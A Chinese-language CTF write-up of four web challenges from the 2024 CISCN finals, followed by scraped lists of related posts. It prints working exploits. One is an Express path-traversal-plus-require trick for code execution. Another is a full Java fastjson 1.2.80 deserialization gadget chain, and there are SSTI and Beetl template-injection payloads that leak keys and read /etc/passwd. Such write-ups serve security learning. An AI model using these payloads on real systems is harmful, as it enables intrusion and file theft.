前言

鸽了三个月的复现计划:)

ezjs

考点是express引擎解析的一个trick,在高版本的express已经修复,先贴源码

const express = require('express');
const ejs=require('ejs')
const session = require('express-session');
const bodyParse = require('body-parser');
const multer = require('multer');
const fs = require('fs'); const path = require("path"); function createDirectoriesForFilePath(filePath) {
const dirname = path.dirname(filePath); fs.mkdirSync(dirname, { recursive: true });
}
function IfLogin(req, res, next){
if (req.session.user!=null){
next()
}else {
res.redirect('/login')
}
} const storage = multer.diskStorage({
destination: function (req, file, cb) {
cb(null, path.join(__dirname, 'uploads')); // 设置上传文件的目标目录
},
filename: function (req, file, cb) {
// 直接使用原始文件名
cb(null, file.originalname);
}
}); // 配置 multer 上传中间件
const upload = multer({
storage: storage, // 使用自定义存储选项
fileFilter: (req, file, cb) => {
const fileExt = path.extname(file.originalname).toLowerCase();
if (fileExt === '.ejs') {
// 如果文件后缀为 .ejs,则拒绝上传该文件
return cb(new Error('Upload of .ejs files is not allowed'), false);
}
cb(null, true); // 允许上传其他类型的文件
}
}); admin={
"username":"ADMIN",
"password":"123456"
}
app=express()
app.use(express.static(path.join(__dirname, 'uploads')));
app.use(express.json());
app.use(bodyParse.urlencoded({extended: false}));
app.set('view engine', 'ejs');
app.use(session({
secret: 'Can_U_hack_me???',
resave: false,
saveUninitialized: true,
cookie: { maxAge: 3600 * 1000 }
})); app.get('/',(req,res)=>{
res.redirect('/login')
}) app.get('/login', (req, res) => {
res.render('login');
}); app.post('/login', (req, res) => {
const { username, password } = req.body;
if (username === 'admin'){
return res.status(400).send('you can not be admin');
}
const new_username = username.toUpperCase() if (new_username === admin.username && password === admin.password) {
req.session.user = "ADMIN";
res.redirect('/rename');
} else {
// res.redirect('/login');
}
}); app.get('/upload', (req, res) => {
res.render('upload');
}); app.post('/upload', upload.single('fileInput'), (req, res) => {
if (!req.file) {
return res.status(400).send('No file uploaded');
}
const fileExt = path.extname(req.file.originalname).toLowerCase(); if (fileExt === '.ejs') {
return res.status(400).send('Upload of .ejs files is not allowed');
}
res.send('File uploaded successfully: ' + req.file.originalname);
}); app.get('/render',(req, res) => {
const { filename } = req.query; if (!filename) {
return res.status(400).send('Filename parameter is required');
} const filePath = path.join(__dirname, 'uploads', filename); if (filePath.endsWith('.ejs')) {
return res.status(400).send('Invalid file type.');
} res.render(filePath);
}); app.get('/rename',IfLogin, (req, res) => { if (req.session.user !== 'ADMIN') {
return res.status(403).send('Access forbidden');
} const { oldPath , newPath } = req.query;
if (!oldPath || !newPath) {
return res.status(400).send('Missing oldPath or newPath');
}
if (newPath && /app\.js|\\|\.ejs/i.test(newPath)) {
return res.status(400).send('Invalid file name');
}
if (oldPath && /\.\.|flag/i.test(oldPath)) {
return res.status(400).send('Invalid file name');
}
const new_file = newPath.toLowerCase(); const oldFilePath = path.join(__dirname, 'uploads', oldPath);
const newFilePath = path.join(__dirname, 'uploads', new_file); if (newFilePath.endsWith('.ejs')){
return res.status(400).send('Invalid file type.');
}
if (!oldPath) {
return res.status(400).send('oldPath parameter is required');
} if (!fs.existsSync(oldFilePath)) {
return res.status(404).send('Old file not found');
} if (fs.existsSync(newFilePath)) {
return res.status(409).send('New file path already exists');
}
createDirectoriesForFilePath(newFilePath)
fs.rename(oldFilePath, newFilePath, (err) => {
if (err) {
console.error('Error renaming file:', err);
return res.status(500).send('Error renaming file');
} res.send('File renamed successfully');
});
}); app.listen('3000', () => {
console.log(`http://localhost:3000`)
})

当我们传入的filename没有后缀的时候,render会自动加入默认设置的.ejs,当我们传入的filename有后缀时,会取最后一个后缀进行require,假设filename=1.js.abc,那么就会require('abc'),为什么会这样,我们追踪下源码,res.render处打个断点

view在没cache的情况下view变量默认是空的,就会在此处调用一个View(),而且当这个函数结束的时候,他会继续走一个tryRender函数,看View函数内容

function View(name, options) {
var opts = options || {}; this.defaultEngine = opts.defaultEngine;
this.ext = extname(name);
this.name = name;
this.root = opts.root; if (!this.ext && !this.defaultEngine) {
throw new Error('No default engine was specified and no extension was provided.');
} var fileName = name; if (!this.ext) {
// get extension from default engine name
this.ext = this.defaultEngine[0] !== '.'
? '.' + this.defaultEngine
: this.defaultEngine; fileName += this.ext;
} if (!opts.engines[this.ext]) {
// load engine
var mod = this.ext.slice(1)
debug('require "%s"', mod) // default engine export
var fn = require(mod).__express if (typeof fn !== 'function') {
throw new Error('Module "' + mod + '" does not provide a view engine.')
} opts.engines[this.ext] = fn
} // store loaded engine
this.engine = opts.engines[this.ext]; // lookup path
this.path = this.lookup(fileName);
}

重点在这

this.ext是我们传入的最后一个后缀,去掉.传给了mod,然后被require,require默认是读取node_modules中的index.js,假设这里mod是js,那么就会require node_modules/js/index.js,也就是说我们能控制node_modules下的文件内容的话就能rce了,刚好这里的rename可以实现目录穿越写入node_modules中,我们先随便上传个index.js,内容为:

const p = require('child_process')
p.exec("calc")

然后rename?oldPath=index.js&newPath=../node_modules/F12/index.js

rce:render?filename=1.F12

fix也很简单,把.js加入黑名单就行

solon_master

考察的是fastjson原生反序列化,fastjson1.2.80,得绕autoType,先看反序列化入口:

重写了resolveClass,最外层得是User类,并且不能使用BadAttributeValueExpException,这个好说,我们看User类

public class User implements Serializable {
public String name;
public Map info; public User() {
} public Map getInfo() {
System.out.println("getInfo");
return this.info;
} public void setInfo(Map info) {
this.info = info;
} public String getName() {
System.out.println("getName");
return this.name;
} public void setName(String name) {
this.name = name;
} public User(String name) {
this.name = name;
}
}

User类中有个属性是Map,我们把这个Map设置成恶意的序列化数据就行了,那么就考虑从HashMap开始往后的利用链,这里选择HashMap#readObject->JSONArray#toString->getter,编写exp:

package com.example.demo;
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import sun.misc.Unsafe;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map; public class Test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "1");
Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\untitled\\target\\classes\\com\\example\\demo\\calc.class"));
byte[][] code = {bytes};
_bytecodes.set(templates, code);
Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates, new TransformerFactoryImpl());
ArrayList arrayList = new ArrayList();
arrayList.add(templates);
JSONArray toStringBean = new JSONArray(arrayList);
// GetterClass#getName is called
HashMap hashMap = makeHashMapByTextAndMnemonicHashMap(toStringBean);
User user = new User();
user.setName("F12");
user.setInfo(hashMap);
// 这里是为了绕fastjson自己的resolveClass,让其走TC_REFERENCE,就不会走它的resolveClass,也就不会触发autoType
HashMap hashMap1 = new HashMap();
hashMap.put(templates,user);
System.out.println(Base64.getEncoder().encodeToString(ser(user)));
}
public static HashMap makeHashMapByTextAndMnemonicHashMap(Object toStringClass) throws Exception{
Map tHashMap1 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
Map tHashMap2 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
tHashMap1.put(toStringClass, "123");
tHashMap2.put(toStringClass, "12");
setFieldValue(tHashMap1, "loadFactor", 1);
setFieldValue(tHashMap2, "loadFactor", 1);
HashMap hashMap = new HashMap();
hashMap.put(tHashMap1,"1");
hashMap.put(tHashMap2,"1");
tHashMap1.put(toStringClass, null);
tHashMap2.put(toStringClass, null);
return hashMap;
}
public static Object getObjectByUnsafe(Class clazz) throws Exception{
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
return unsafe.allocateInstance(clazz);
}
public static void setFieldValue(Object obj, String key, Object val) throws Exception{
Field field = null;
Class clazz = obj.getClass();
while (true){
try {
field = clazz.getDeclaredField(key);
break;
} catch (NoSuchFieldException e){
clazz = clazz.getSuperclass();
}
}
field.setAccessible(true);
field.set(obj, val);
}
public static byte[] ser(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return baos.toByteArray();
}
public static void unser(byte[] exp) throws ClassNotFoundException, IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(exp);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
}

关于如何绕fastjson的resolveClass,可以参考https://blog.csdn.net/YakProject/article/details/131291768

ShardCard

使用了沙箱的SSTI,跟R3CTF的NinjaClub有些类似,Info类继承了BaseModel,理论上可以打pickle反序列化,但是本地环境测试好像把parse_raw给拉黑了,那么只能换一种打法,只要读取rsakey,我们就可以伪造token,改变avatar的值来任意读取文件,丢个payload在这:

{{info.__class__.parse_avatar.__globals__.rsakey}},本地读出来nm地址,不玩了,就这样吧

Fobee

beetl模板注入,首先绕username=admin拿到密码,这个很简单,unicode编码就行,/render里使用了BeetlKit.render,这里存在注入,不过有黑名单,如下:

pkgName = name.substring(0, i);
className = name.substring(i + 1);
if (pkgName.startsWith("java.lang.reflect")) {
return false;
} else if (!pkgName.startsWith("java.lang")) {
if (pkgName.startsWith("java.beans")) {
return false;
} else if (pkgName.startsWith("org.beetl")) {
return false;
} else if (pkgName.startsWith("javax.")) {
return false;
} else {
return !pkgName.startsWith("sun.");
}
} else {
return !className.equals("Runtime") && !className.equals("Process") && !className.equals("ProcessBuilder") && !className.equals("Thread") && !className.equals("Class") && !className.equals("System");
}

听说CVE-2024-22533可以代码执行,不过自己摸索没复现出来,这里写一个读取文件的写法,exp如下:

${@java.util.Base64.getEncoder().encodeToString(@java.nio.file.Files.readAllBytes(@java.nio.file.Paths.get("/etc/passwd","")))}

有复现出的师傅麻烦教教我:)

2024Ciscn总决赛Web Writeup的更多相关文章

  1. ISG 2018 Web Writeup

    作者:agetflag 原文来自:ISG 2018 Web Writeup ISG 2018 Web Writeup CTF萌新,所以写的比较基础,请大佬们勿喷,比赛本身的Web题也不难 calc 首 ...

  2. [SHA2017](web) writeup

    [SHA2017](web) writeup Bon Appétit (100) 打开页面查看源代码,发现如下 自然而然想到php伪协议,有个坑,看不了index.php,只能看 .htaccess ...

  3. [WUST-CTF]Web WriteUp

    周末放假忙里偷闲打了两场比赛,其中一场就是武汉科技大学的WUST-CTF新生赛,虽说是新生赛,题目质量还是相当不错的.最后有幸拿了总排第5,记录一下Web的题解. checkin 进入题目询问题目作者 ...

  4. BuuCTF Web Writeup

    WarmUp index.php <html lang="en"> <head> <meta charset="UTF-8"> ...

  5. [MRCTF]Web WriteUp

    和武科大WUSTCTF同时打的一场比赛,最后因为精力放在武科大比赛上了,排名13  - -Web题目难度跨度过大,分不清层次,感觉Web题目分布不是很好,质量还是不错的 Ez_bypass 进入题目得 ...

  6. [易霖博YCTF]Web WriteUp

    中午队里师傅发到群里的比赛,借来队里师傅账号和队里其他师傅一起做了一下,ak了web,师傅们tql.学到挺多东西,总结一下. rce_nopar 进入题目给出源码: <?php if(isset ...

  7. [XNUCA 进阶篇](web)writeup

    XNUCA 靶场练习题writeup default 阳关总在风雨后 题目过滤很多,*,#,/ ,and,or,|,union,空格,都不能用 盲注,最后的姿势是:1'%(1)%'1 中间的括号的位置 ...

  8. 【网鼎杯2020白虎组】Web WriteUp [picdown]

    picdown 抓包发现存在文件包含漏洞: 在main.py下面暴露的flask的源代码 from flask import Flask, Response, render_template, req ...

  9. 【网鼎杯2020青龙组】Web WriteUp

    AreUSerialz 打开题目直接给出了源代码 <?php include("flag.php"); highlight_file(__FILE__); class Fil ...

  10. 2019全国大学生信息安全竞赛部分Web writeup

    JustSoso 0x01 审查元素发现了提示,伪协议拿源码 /index.php?file=php://filter/read=convert.base64-encode/resource=inde ...

随机推荐

  1. 强化学习算法之DQN算法中的经验池的实现,experience_replay_buffer部分的实现

    本文的相关链接: github上DQN代码的环境搭建,及运行(Human-Level Control through Deep Reinforcement Learning)conda配置 ----- ...

  2. 网络文件系统nfs服务端配置客户端权限时的demo例子

    参考: https://www.cnblogs.com/devilmaycry812839668/p/15127755.html 由上面的参考资料我们可以知道在nfs服务端进行配置时对于客户端的权限设 ...

  3. tensorflow1.x——如何在python多线程中调用同一个session会话

    如何在python多线程中调用同一个session会话? 这个问题源于我在看的一个强化学习代码: https://gitee.com/devilmaycry812839668/scalable_age ...

  4. Java基础之时间类

  5. 跨越时空的对话:如何使用AI阅读工具ChatDOC快速建立数字化身?

    跨越时空的对话:如何使用 ChatDOC 快速建立数字化身?以史蒂夫·乔布斯 AI 为例 开门见山,这篇文章主要介绍如何将 AI 改造为靠谱.好用.基于某个人物的数字化身.比如,乔布斯 AI.马斯克 ...

  6. css居中的多种方式

    1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="U ...

  7. 推荐一款Python开源移动应用安全测试分析工具!!!

    今天给大家推荐一个安全测试相关的开源项目:nccgroup/house 1.介绍 它是一个由 NCC Group 开发的,一个基于Frida和Python编写的动态运行时移动应用分析工具包,提供了基于 ...

  8. 初三年后集训测试 T2--牛吃草

    初三年后集训测试 $T 2 $ 牛吃草 一言难尽 $$HZOI$$ $ Description $ 由于现代化进程的加快,农场的养殖业也趋向机械化. \(QZS\) 决定购置若干台自动喂草机来减少自己 ...

  9. 甲方扔给两个存在包名与类名均相同的Jar包,要在工程中同时使用怎么办?

    你的项目是否曾遇到过有jar包冲突,而这些冲突的jar包又必须同时存在的情况?一般来说,jar 冲突都是因不同的上层依赖项,自身又依赖了相同 jar 包的不同版本所致,解决办法也都是去除其中一个即可. ...

  10. ASP.NET Core 如何紀錄 Entity Framework Core 5.0 自動產生的 SQL 命令

    在最近的幾個 Entity Framework Core 版本,對於 Logging (紀錄) 的撰寫方式一直在改變,大致上可區分成 EF Core 2.1 , EF Core 3.0+ 與 EF C ...